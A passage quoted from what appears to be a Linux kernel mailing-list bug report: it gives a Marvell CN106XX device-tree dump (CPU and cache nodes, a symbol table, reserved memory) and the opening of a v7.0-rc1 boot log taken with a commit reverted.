> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x22>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x60000>;
> enable-method = "psci";
> phandle = <0x8>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x22>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@B0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xb>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x27>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xb0000>;
> enable-method = "psci";
> phandle = <0xd>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x27>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@100000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x10>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2c>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x100000>;
> enable-method = "psci";
> phandle = <0x12>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2c>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@F0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xf>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2b>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xf0000>;
> enable-method = "psci";
> phandle = <0x11>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2b>;
> numa-node-id = <0x0>;
> };
> };
> };
>
> __symbols__ {
> CPU17 = "/cpus/cpu@110000";
> L2_90000 = "/cpus/cpu@90000/l2-cache";
> spi_7_0 = "/soc@0/spi@805000000000";
> ethernetA9 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/sgmii@01";
> static_funnel_in3 = "/soc@0/st_funnel/in-ports/port@3/endpoint";
> gic0 = "/interrupt-controller@801000000000";
> static_funnel_in10 = "/soc@0/st_funnel/in-ports/port@a/endpoint";
> etf15_in = "/soc@0/etf15@87a004f10000/in-ports/port/endpoint";
> ete3_out = "/soc@0/ete3/out-ports/port/endpoint";
> i2c_24_1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,1";
> etf12_in = "/soc@0/etf12@87a004c10000/in-ports/port/endpoint";
> etf22_trace = "/reserved-memory/etf22_trace@0";
> ethernetA22 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/usxgmii@3";
> data_flash = "/soc@0/spi@805000000000/flash@0";
> ete7_out = "/soc@0/ete7/out-ports/port/endpoint";
> etf8_trace = "/reserved-memory/etf8_trace@0";
> etf0 = "/soc@0/etf0@87a004010000";
> pem1 = "/soc@0/pci@878040000000";
> ete15 = "/soc@0/ete15";
> ptp_8_0 = "/soc@0/pci@878000000000/ptp@8,0";
> etf9_in = "/soc@0/etf9@87a004910000/in-ports/port/endpoint";
> ethernetA12 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/50g@00";
> qsfp_0 = "/qsfp-slot@0";
> pem0_mem_reserved = "/reserved-memory/pem0-rsvd-mem@0000000000000000";
> ete0 = "/soc@0/ete0";
> L2_A0000 = "/cpus/cpu@A0000/l2-cache";
> static_funnel_in19 = "/soc@0/st_funnel/in-ports/port@13/endpoint";
> etf6_in = "/soc@0/etf6@87a004610000/in-ports/port/endpoint";
> etf0_out = "/soc@0/etf0@87a004010000/out-ports/port/endpoint";
> ete13_out = "/soc@0/ete13/out-ports/port/endpoint";
> CPU15 = "/cpus/cpu@F0000";
> ethernetA7 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/25g@03";
> etf16_trace = "/reserved-memory/etf16_trace@0";
> static_funnel_in1 = "/soc@0/st_funnel/in-ports/port@1/endpoint";
> sclk = "/soc@0/sclk";
> etf3_in = "/soc@0/etf3@87a004310000/in-ports/port/endpoint";
> etf12_out = "/soc@0/etf12@87a004c10000/out-ports/port/endpoint";
> etf1_trace = "/reserved-memory/etf1_trace@0";
> etf18 = "/soc@0/etf18@87a005210000";
> L2_E0000 = "/cpus/cpu@E0000/l2-cache";
> etf4_out = "/soc@0/etf4@87a004410000/out-ports/port/endpoint";
> etf9 = "/soc@0/etf9@87a004910000";
> qsfpeeprom0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,3/eeprom@50";
> etf0_in = "/soc@0/etf0@87a004010000/in-ports/port/endpoint";
> ete17_out = "/soc@0/ete17/out-ports/port/endpoint";
> ete23 = "/soc@0/ete23";
> ethernetA20 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/usxgmii@1";
> etf16_out = "/soc@0/etf16@87a005010000/out-ports/port/endpoint";
> mrml_bridge = "/soc@0/pci@878000000000/mrml-bridge0@1,0";
> ete9 = "/soc@0/ete9";
> etf8_out = "/soc@0/etf8@87a004810000/out-ports/port/endpoint";
> CPU8 = "/cpus/cpu@80000";
> ete13 = "/soc@0/ete13";
> ete20_out = "/soc@0/ete20/out-ports/port/endpoint";
> CPU23 = "/cpus/cpu@170000";
> ethernetA10 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/sgmii@02";
> rpm_1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@1";
> uaa6 = "/soc@0/serial@87e02e000000";
> ecam1 = "/soc@0/pci@878010000000";
> L2_100000 = "/cpus/cpu@100000/l2-cache";
> static_funnel_in17 = "/soc@0/st_funnel/in-ports/port@11/endpoint";
> CPU13 = "/cpus/cpu@D0000";
> L2_20000 = "/cpus/cpu@20000/l2-cache";
> ethernetA5 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/25g@01";
> i2c_24_8 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,8";
> refclkuaa = "/soc@0/refclkuaa";
> etf16 = "/soc@0/etf16@87a005010000";
> L2_140000 = "/cpus/cpu@140000/l2-cache";
> etf23_out = "/soc@0/etf23@87a005710000/out-ports/port/endpoint";
> console_reserved = "/reserved-memory/pci-console-nexus";
> etf7 = "/soc@0/etf7@87a004710000";
> etf5_trace = "/reserved-memory/etf5_trace@0";
> L2_60000 = "/cpus/cpu@60000/l2-cache";
> ete21 = "/soc@0/ete21";
> ethernetA19 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/usxgmii@0";
> mmc_supply_1v8 = "/mmc_supply_1v8";
> ete0_out = "/soc@0/ete0/out-ports/port/endpoint";
> ete7 = "/soc@0/ete7";
> CPU6 = "/cpus/cpu@60000";
> ete11 = "/soc@0/ete11";
> CPU21 = "/cpus/cpu@150000";
> uaa4 = "/soc@0/serial@87e02c000000";
> static_funnel_in8 = "/soc@0/st_funnel/in-ports/port@8/endpoint";
> etf13_trace = "/reserved-memory/etf13_trace@0";
> firmware_flash0 = "/soc@0/spi@804000000000/flash@0";
> ete4_out = "/soc@0/ete4/out-ports/port/endpoint";
> static_funnel_in15 = "/soc@0/st_funnel/in-ports/port@f/endpoint";
> CPU11 = "/cpus/cpu@B0000";
> ethernetA3 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/10g@03";
> i2c_24_6 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,6";
> etf22_in = "/soc@0/etf22@87a005610000/in-ports/port/endpoint";
> ttymem = "/soc@0/ttymem";
> i2c_24_10 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,10";
> spi_6_0 = "/soc@0/spi@804000000000";
> etf14 = "/soc@0/etf14@87a004e10000";
> scmi_clk = "/firmware/scmi/protocol@14";
> ete8_out = "/soc@0/ete8/out-ports/port/endpoint";
> etf5 = "/soc@0/etf5@87a004510000";
> etf23_trace = "/reserved-memory/etf23_trace@0";
> ete10_out = "/soc@0/ete10/out-ports/port/endpoint";
> ethernetA17 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/100g@02";
> etf9_trace = "/reserved-memory/etf9_trace@0";
> etf17_in = "/soc@0/etf17@87a005110000/in-ports/port/endpoint";
> mailbox = "/soc@0/pci@878000000000/mailbox@28,0";
> ete5 = "/soc@0/ete5";
> L2_B0000 = "/cpus/cpu@B0000/l2-cache";
> etf1_out = "/soc@0/etf1@87a004110000/out-ports/port/endpoint";
> static_funnel_in23 = "/soc@0/st_funnel/in-ports/port@17/endpoint";
> CPU4 = "/cpus/cpu@40000";
> ete14_out = "/soc@0/ete14/out-ports/port/endpoint";
> etf14_in = "/soc@0/etf14@87a004e10000/in-ports/port/endpoint";
> ethernetB1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@1/sgmii@10";
> uaa2 = "/soc@0/serial@87e02a000000";
> static_funnel_in6 = "/soc@0/st_funnel/in-ports/port@6/endpoint";
> etf13_out = "/soc@0/etf13@87a004d10000/out-ports/port/endpoint";
> static_funnel_in13 = "/soc@0/st_funnel/in-ports/port@d/endpoint";
> qsfpdiag0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,3/diag@51";
> etf17_trace = "/reserved-memory/etf17_trace@0";
> etf22 = "/soc@0/etf22@87a005610000";
> L2_F0000 = "/cpus/cpu@F0000/l2-cache";
> etf11_in = "/soc@0/etf11@87a004b10000/in-ports/port/endpoint";
> etf5_out = "/soc@0/etf5@87a004510000/out-ports/port/endpoint";
> ete18_out = "/soc@0/ete18/out-ports/port/endpoint";
> ethernetA1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/10g@01";
> etf2_trace = "/reserved-memory/etf2_trace@0";
> i2c_24_4 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,4";
> shared_etr_in = "/soc@0/sh_etr@87a100060000/in-ports/port/endpoint";
> etf12 = "/soc@0/etf12@87a004c10000";
> etf17_out = "/soc@0/etf17@87a005110000/out-ports/port/endpoint";
> etf8_in = "/soc@0/etf8@87a004810000/in-ports/port/endpoint";
> etf3 = "/soc@0/etf3@87a004310000";
> etf9_out = "/soc@0/etf9@87a004910000/out-ports/port/endpoint";
> fwlogmem = "/reserved-memory/fwlogs@0";
> mdio1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/mdio-nexus@1,3/mdio1@87e005003880";
> pem4 = "/soc@0/pci@878070000000";
> ete18 = "/soc@0/ete18";
> ete21_out = "/soc@0/ete21/out-ports/port/endpoint";
> static_funnel_out = "/soc@0/st_funnel/out-ports/port/endpoint";
> ethernetA15 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/50g@03";
> etf5_in = "/soc@0/etf5@87a004510000/in-ports/port/endpoint";
> etf10_trace = "/reserved-memory/etf10_trace@0";
> L2_110000 = "/cpus/cpu@110000/l2-cache";
> etf20_out = "/soc@0/etf20@87a005410000/out-ports/port/endpoint";
> ete3 = "/soc@0/ete3";
> mmc = "/soc@0/sdhci@824000000000";
> static_funnel_in21 = "/soc@0/st_funnel/in-ports/port@15/endpoint";
> CPU2 = "/cpus/cpu@20000";
> etf2_in = "/soc@0/etf2@87a004210000/in-ports/port/endpoint";
> L2_30000 = "/cpus/cpu@30000/l2-cache";
> CPU18 = "/cpus/cpu@120000";
> uaa0 = "/soc@0/serial@87e028000000";
> static_funnel_in4 = "/soc@0/st_funnel/in-ports/port@4/endpoint";
> scp_to_cpu = "/soc@0/sram@36,0/scp-shmem@0";
> vqmmc_supply_1v8 = "/vqmmc_supply_1v8";
> static_funnel_in11 = "/soc@0/st_funnel/in-ports/port@b/endpoint";
> L2_150000 = "/cpus/cpu@150000/l2-cache";
> etf20 = "/soc@0/etf20@87a005410000";
> L2_70000 = "/cpus/cpu@70000/l2-cache";
> etf20_trace = "/reserved-memory/etf20_trace@0";
> i2c_24_2 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,2";
> etf6_trace = "/reserved-memory/etf6_trace@0";
> etf10 = "/soc@0/etf10@87a004a10000";
> ete1_out = "/soc@0/ete1/out-ports/port/endpoint";
> etf1 = "/soc@0/etf1@87a004110000";
> pem2 = "/soc@0/pci@878050000000";
> ete16 = "/soc@0/ete16";
> ethernetA13 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/50g@01";
> smmu0 = "/soc@0/smmu@830000000000";
> its = "/interrupt-controller@801000000000/gic-its@801000040000";
> ete1 = "/soc@0/ete1";
> ete5_out = "/soc@0/ete5/out-ports/port/endpoint";
> CPU0 = "/cpus/cpu@0";
> etf14_trace = "/reserved-memory/etf14_trace@0";
> CPU16 = "/cpus/cpu@100000";
> ethernetA8 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/sgmii@00";
> static_funnel_in2 = "/soc@0/st_funnel/in-ports/port@2/endpoint";
> gpio_17_0 = "/soc@0/pci@878000000000/gpio0@17,0";
> etf19 = "/soc@0/etf19@87a005310000";
> ete9_out = "/soc@0/ete9/out-ports/port/endpoint";
> ete11_out = "/soc@0/ete11/out-ports/port/endpoint";
> i2c_24_0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,0";
> ghes_bert_reserved = "/reserved-memory/ghes-bert@0000000000000000";
> ethernetA21 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/usxgmii@2";
> etf10_out = "/soc@0/etf10@87a004a10000/out-ports/port/endpoint";
> sdmclk = "/soc@0/sdmclk";
> L2_C0000 = "/cpus/cpu@C0000/l2-cache";
> etf2_out = "/soc@0/etf2@87a004210000/out-ports/port/endpoint";
> CPU9 = "/cpus/cpu@90000";
> ete15_out = "/soc@0/ete15/out-ports/port/endpoint";
> pem0 = "/soc@0/pci@878030000000";
> ete14 = "/soc@0/ete14";
> ethernetA11 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/sgmii@03";
> rpm_2 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@2";
> soc_0 = "/soc@0";
> uaa7 = "/soc@0/serial@87e02f000000";
> ecam2 = "/soc@0/pci@878020000000";
> etf14_out = "/soc@0/etf14@87a004e10000/out-ports/port/endpoint";
> static_funnel_in18 = "/soc@0/st_funnel/in-ports/port@12/endpoint";
> etf21_in = "/soc@0/etf21@87a005510000/in-ports/port/endpoint";
> etf6_out = "/soc@0/etf6@87a004610000/out-ports/port/endpoint";
> CPU14 = "/cpus/cpu@E0000";
> ete19_out = "/soc@0/ete19/out-ports/port/endpoint";
> ethernetA6 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/25g@02";
> static_funnel_in0 = "/soc@0/st_funnel/in-ports/port@0/endpoint";
> scmi_sensors0 = "/firmware/scmi/protocol@15";
> i2c_24_9 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,9";
> etf18_trace = "/reserved-memory/etf18_trace@0";
> etf19_in = "/soc@0/etf19@87a005310000/in-ports/port/endpoint";
> etf18_out = "/soc@0/etf18@87a005210000/out-ports/port/endpoint";
> etf17 = "/soc@0/etf17@87a005110000";
> etf3_trace = "/reserved-memory/etf3_trace@0";
> etf8 = "/soc@0/etf8@87a004810000";
> aliases = "/aliases";
> etf16_in = "/soc@0/etf16@87a005010000/in-ports/port/endpoint";
> ete22_out = "/soc@0/ete22/out-ports/port/endpoint";
> ete22 = "/soc@0/ete22";
> L2_120000 = "/cpus/cpu@120000/l2-cache";
> etf21_out = "/soc@0/etf21@87a005510000/out-ports/port/endpoint";
> etf13_in = "/soc@0/etf13@87a004d10000/in-ports/port/endpoint";
> ete8 = "/soc@0/ete8";
> CPU7 = "/cpus/cpu@70000";
> ete12 = "/soc@0/ete12";
> L2_40000 = "/cpus/cpu@40000/l2-cache";
> CPU22 = "/cpus/cpu@160000";
> etf11_trace = "/reserved-memory/etf11_trace@0";
> rpm_0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0";
> uaa5 = "/soc@0/serial@87e02d000000";
> static_funnel_in9 = "/soc@0/st_funnel/in-ports/port@9/endpoint";
> etf10_in = "/soc@0/etf10@87a004a10000/in-ports/port/endpoint";
> ecam0 = "/soc@0/pci@878000000000";
> L2_0 = "/cpus/cpu@0/l2-cache";
> static_funnel_in16 = "/soc@0/st_funnel/in-ports/port@10/endpoint";
> L2_160000 = "/cpus/cpu@160000/l2-cache";
> CPU12 = "/cpus/cpu@C0000";
> ethernetA4 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/25g@00";
> L2_80000 = "/cpus/cpu@80000/l2-cache";
> etf7_in = "/soc@0/etf7@87a004710000/in-ports/port/endpoint";
> i2c_24_7 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,7";
> shared_etf_in = "/soc@0/sh_etf@87a100050000/in-ports/port/endpoint";
> i2c_24_11 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,11";
> ete2_out = "/soc@0/ete2/out-ports/port/endpoint";
> etf15 = "/soc@0/etf15@87a004f10000";
> etf21_trace = "/reserved-memory/etf21_trace@0";
> etf4_in = "/soc@0/etf4@87a004410000/in-ports/port/endpoint";
> etf6 = "/soc@0/etf6@87a004610000";
> ete20 = "/soc@0/ete20";
> etf7_trace = "/reserved-memory/etf7_trace@0";
> scmi_dvfs = "/firmware/scmi/protocol@13";
> ethernetA18 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/40g@00";
> etf1_in = "/soc@0/etf1@87a004110000/in-ports/port/endpoint";
> ete6_out = "/soc@0/ete6/out-ports/port/endpoint";
> ete6 = "/soc@0/ete6";
> CPU5 = "/cpus/cpu@50000";
> ete10 = "/soc@0/ete10";
> CPU20 = "/cpus/cpu@140000";
> uaa3 = "/soc@0/serial@87e02b000000";
> static_funnel_in7 = "/soc@0/st_funnel/in-ports/port@7/endpoint";
> etf15_trace = "/reserved-memory/etf15_trace@0";
> static_funnel_in14 = "/soc@0/st_funnel/in-ports/port@e/endpoint";
> etf23 = "/soc@0/etf23@87a005710000";
> CPU10 = "/cpus/cpu@A0000";
> ete12_out = "/soc@0/ete12/out-ports/port/endpoint";
> etf0_trace = "/reserved-memory/etf0_trace@0";
> ethernetA2 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/10g@02";
> sh_etr = "/soc@0/sh_etr@87a100060000";
> i2c_24_5 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,5";
> etf11_out = "/soc@0/etf11@87a004b10000/out-ports/port/endpoint";
> etf13 = "/soc@0/etf13@87a004d10000";
> L2_D0000 = "/cpus/cpu@D0000/l2-cache";
> etf3_out = "/soc@0/etf3@87a004310000/out-ports/port/endpoint";
> etf4 = "/soc@0/etf4@87a004410000";
> ete16_out = "/soc@0/ete16/out-ports/port/endpoint";
> pem5 = "/soc@0/pci@878080000000";
> cpu_scp_lpri = "/soc@0/sram@26,0/scp-shmem@0";
> ete19 = "/soc@0/ete19";
> ethernetA16 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/100g@00";
> ghes_hest_reserved = "/reserved-memory/ghes-hest@0000000000000000";
> coresight_reserved = "/reserved-memory/coresight-presrv@0";
> etf15_out = "/soc@0/etf15@87a004f10000/out-ports/port/endpoint";
> ete4 = "/soc@0/ete4";
> static_funnel_in22 = "/soc@0/st_funnel/in-ports/port@16/endpoint";
> etf7_out = "/soc@0/etf7@87a004710000/out-ports/port/endpoint";
> CPU3 = "/cpus/cpu@30000";
> CPU19 = "/cpus/cpu@130000";
> ethernetB0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@1/10g@10";
> uaa1 = "/soc@0/serial@87e029000000";
> static_funnel_in5 = "/soc@0/st_funnel/in-ports/port@5/endpoint";
> static_funnel_in12 = "/soc@0/st_funnel/in-ports/port@c/endpoint";
> etf19_out = "/soc@0/etf19@87a005310000/out-ports/port/endpoint";
> etf21 = "/soc@0/etf21@87a005510000";
> etf19_trace = "/reserved-memory/etf19_trace@0";
> L2_10000 = "/cpus/cpu@10000/l2-cache";
> ethernetA0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/10g@00";
> octeontx2_L3 = "/l3-cache";
> ete23_out = "/soc@0/ete23/out-ports/port/endpoint";
> i2c_24_3 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,3";
> etf4_trace = "/reserved-memory/etf4_trace@0";
> etf11 = "/soc@0/etf11@87a004b10000";
> L2_130000 = "/cpus/cpu@130000/l2-cache";
> etf22_out = "/soc@0/etf22@87a005610000/out-ports/port/endpoint";
> etf23_in = "/soc@0/etf23@87a005710000/in-ports/port/endpoint";
> etf2 = "/soc@0/etf2@87a004210000";
> bootcmd = "/soc@0/pci-bootcmd@0x027ff000";
> mdio0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/mdio-nexus@1,3/mdio0@87e005003800";
> pem3 = "/soc@0/pci@878060000000";
> L2_50000 = "/cpus/cpu@50000/l2-cache";
> ete17 = "/soc@0/ete17";
> shared_etf_out = "/soc@0/sh_etf@87a100050000/out-ports/port/endpoint";
> ethernetA14 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/50g@02";
> ioclk = "/soc@0/ioclk";
> etf20_in = "/soc@0/etf20@87a005410000/in-ports/port/endpoint";
> ete2 = "/soc@0/ete2";
> etf12_trace = "/reserved-memory/etf12_trace@0";
> L2_170000 = "/cpus/cpu@170000/l2-cache";
> static_funnel_in20 = "/soc@0/st_funnel/in-ports/port@14/endpoint";
> CPU1 = "/cpus/cpu@10000";
> etf18_in = "/soc@0/etf18@87a005210000/in-ports/port/endpoint";
> };
>
> tad_pmu {
> marvell,tad-cnt = <0x30>;
> marvell,tad-pmu-page-size = <0x1000>;
> marvell,tad-page-size = <0x1000000>;
> compatible = "marvell,cn10k-tad-pmu";
> reg = <0x87e2 0x80000000 0x0 0x30000000>;
> };
>
> reserved-memory {
> #address-cells = <0x2>;
> #size-cells = <0x2>;
> ranges;
>
> ghes-hest@00000009fbf00000 {
> compatible = "marvell";
> reg = <0x9 0xfbf00000 0x0 0x100000>;
> phandle = <0x41>;
> no-map;
> };
>
> ghes-bert@00000009f7afe000 {
> compatible = "marvell";
> reg = <0x9 0xf7afe000 0x0 0x2000>;
> phandle = <0x42>;
> no-map;
> };
>
> pem0-rsvd-mem@00000009f7b00000 {
> compatible = "marvell";
> reg = <0x9 0xf7b00000 0x0 0x4400000>;
> phandle = <0x40>;
> no-map;
> };
>
> pci-console-nexus {
> compatible = "marvell,pci-console-nexus-memory";
> reg = <0x0 0x20060000 0x0 0x1c100>;
> phandle = <0x35>;
> no-map;
> };
> };
> };
>
> ++++++++++++++++++++++++++++++++++ v7.0-rc1 + The commit reverted +++++++++++++++++++++++++
>
> Starting kernel ...
>
> [ 0.000000] Booting Linux on physical CPU 0x0000000000 [0x410fd490]
> [ 0.000000] Linux version 7.0.0-rc1-00001-gbda05604fa31 (rkannoth@rkannoth-OptiPlex-7090) (aarch64-marvell-linux-gnu-gcc (Marvell Inc. Version: Marvell GCC12 build 12006.0) 12.6
> [ 0.000000] KASLR enabled
> [ 0.000000] Machine model: Marvell CN106XX board
> [ 0.000000] earlycon: pl11 at MMIO 0x000087e028000000 (options '')
> [ 0.000000] printk: legacy bootconsole [pl11] enabled
> [ 0.000000] efi: UEFI not found.
> [ 0.000000] OF: reserved mem: 0x0000000020060000..0x000000002007c0ff (112 KiB) nomap non-reusable pci-console-nexus
> [ 0.000000] OF: reserved mem: 0x00000009fbf00000..0x00000009fbffffff (1024 KiB) nomap non-reusable ghes-hest@00000009fbf00000
> [ 0.000000] OF: reserved mem: 0x00000009f7b00000..0x00000009fbefffff (69632 KiB) nomap non-reusable pem0-rsvd-mem@00000009f7b00000
> [ 0.000000] OF: reserved mem: 0x00000009f7afe000..0x00000009f7afffff (8 KiB) nomap non-reusable ghes-bert@00000009f7afe000
> [ 0.000000] NODE_DATA(0) allocated [mem 0x9f2ab4980-0x9f2ab6fff]
> [ 0.000000] cma: Reserved 32 MiB at 0x00000000fe000000
> [ 0.000000] psci: probing for conduit method from DT.
> [ 0.000000] psci: PSCIv1.1 detected in firmware.
> [ 0.000000] psci: Using standard PSCI v0.2 function IDs
> [ 0.000000] psci: Trusted OS resident on physical CPU 0x0
> [ 0.000000] psci: SMC Calling Convention v1.2
> [ 0.000000] Zone ranges:
> [ 0.000000] DMA [mem 0x0000000004000000-0x00000000ffffffff]
> [ 0.000000] DMA32 empty
> [ 0.000000] Normal [mem 0x0000000100000000-0x00000009f7afdfff]
> [ 0.000000] Movable zone start for each node
> [ 0.000000] Early memory node ranges
> [ 0.000000] node 0: [mem 0x0000000004000000-0x000000002005ffff]
> [ 0.000000] node 0: [mem 0x0000000020060000-0x000000002007bfff]
> [ 0.000000] node 0: [mem 0x000000002007d000-0x00000009f7afdfff]
> [ 0.000000] Initmem setup node 0 [mem 0x0000000004000000-0x00000009f7afdfff]
> [ 0.000000] On node 0, zone DMA: 16384 pages in unavailable ranges
> [ 0.000000] On node 0, zone DMA: 1 pages in unavailable ranges
> [ 0.000000] On node 0, zone Normal: 1282 pages in unavailable ranges
> [ 0.000000] percpu: Embedded 25 pages/cpu s62872 r8192 d31336 u102400
> [ 0.000000] pcpu-alloc: s62872 r8192 d31336 u102400 alloc=25*4096
> [ 0.000000] pcpu-alloc: [0] 00 [0] 01 [0] 02 [0] 03 [0] 04 [0] 05 [0] 06 [0] 07
> [ 0.000000] pcpu-alloc: [0] 08 [0] 09 [0] 10 [0] 11 [0] 12 [0] 13 [0] 14 [0] 15
> [ 0.000000] pcpu-alloc: [0] 16 [0] 17 [0] 18 [0] 19 [0] 20 [0] 21 [0] 22 [0] 23
> [ 0.000000] Detected PIPT I-cache on CPU0
> [ 0.000000] CPU features: detected: Address authentication (architected QARMA5 algorithm)
> [ 0.000000] CPU features: detected: GICv3 CPU interface
> [ 0.000000] CPU features: detected: Virtualization Host Extensions
> [ 0.000000] CPU features: detected: Spectre-v4
> [ 0.000000] CPU features: detected: Spectre-BHB
> [ 0.000000] CPU features: detected: ARM erratum 2067961 or 2054223
> [ 0.000000] CPU features: detected: SSBS not fully self-synchronizing
> [ 0.000000] alternatives: applying boot alternatives
> [ 0.000000] Kernel command line: console=ttyAMA0,115200n8 earlycon=pl011,0x87e028000000 debug maxcpus=4 rootwait rw rw root=/dev/nfs nfsroot=10.29.36.51:/nfsshare/ubuntu-rootfsM
> [ 0.000000] random: crng init done
> [ 0.000000] printk: log_buf_len individual max cpu contribution: 4096 bytes
> [ 0.000000] printk: log_buf_len total cpu_extra contributions: 94208 bytes
> [ 0.000000] printk: log_buf_len min size: 131072 bytes
> [ 0.000000] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes
> [ 0.000000] printk: early log buf free: 127576(97%)
> [ 0.000000] Dentry cache hash table entries: 8388608 (order: 14, 67108864 bytes, linear)
> [ 0.000000] Inode-cache hash table entries: 4194304 (order: 13, 33554432 bytes, linear)
> [ 0.000000] software IO TLB: area num 32.
> [ 0.000000] software IO TLB: mapped [mem 0x00000000fa000000-0x00000000fe000000] (64MB)
> [ 0.000000] Fallback order for Node 0: 0
> [ 0.000000] Built 1 zonelists, mobility grouping on. Total pages: 10435325
> [ 0.000000] Policy zone: Normal
> [ 0.000000] mem auto-init: stack:off, heap alloc:off, heap free:off
> [ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=24, Nodes=1
> [ 0.000000] rcu: Preemptible hierarchical RCU implementation.
> [ 0.000000] rcu: RCU event tracing is enabled.
> [ 0.000000] rcu: RCU restricting CPUs from NR_CPUS=256 to nr_cpu_ids=24.
> [ 0.000000] Trampoline variant of Tasks RCU enabled.
> [ 0.000000] Tracing variant of Tasks RCU enabled.
> [ 0.000000] rcu: RCU calculated value of scheduler-enlistment delay is 25 jiffies.
> [ 0.000000] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=24
> [ 0.000000] RCU Tasks: Setting shift to 5 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=24.
> [ 0.000000] NR_IRQS: 64, nr_irqs: 64, preallocated irqs: 0
> [ 0.000000] GICv3: GIC: Using split EOI/Deactivate mode
> [ 0.000000] GIC: enabling workaround for GICv3: ARM64 erratum 2941627
> [ 0.000000] GICv3: 512 SPIs implemented
> [ 0.000000] GICv3: 0 Extended SPIs implemented
> [ 0.000000] Root IRQ handler: gic_handle_irq
> [ 0.000000] GICv3: GICv3 features: 48 PPIs, DirectLPI
> [ 0.000000] GICv3: GICv4 features: DirectLPI RVPEID Valid+Dirty
> [ 0.000000] GICv3: GICD_CTLR.DS=0, SCR_EL3.FIQ=1
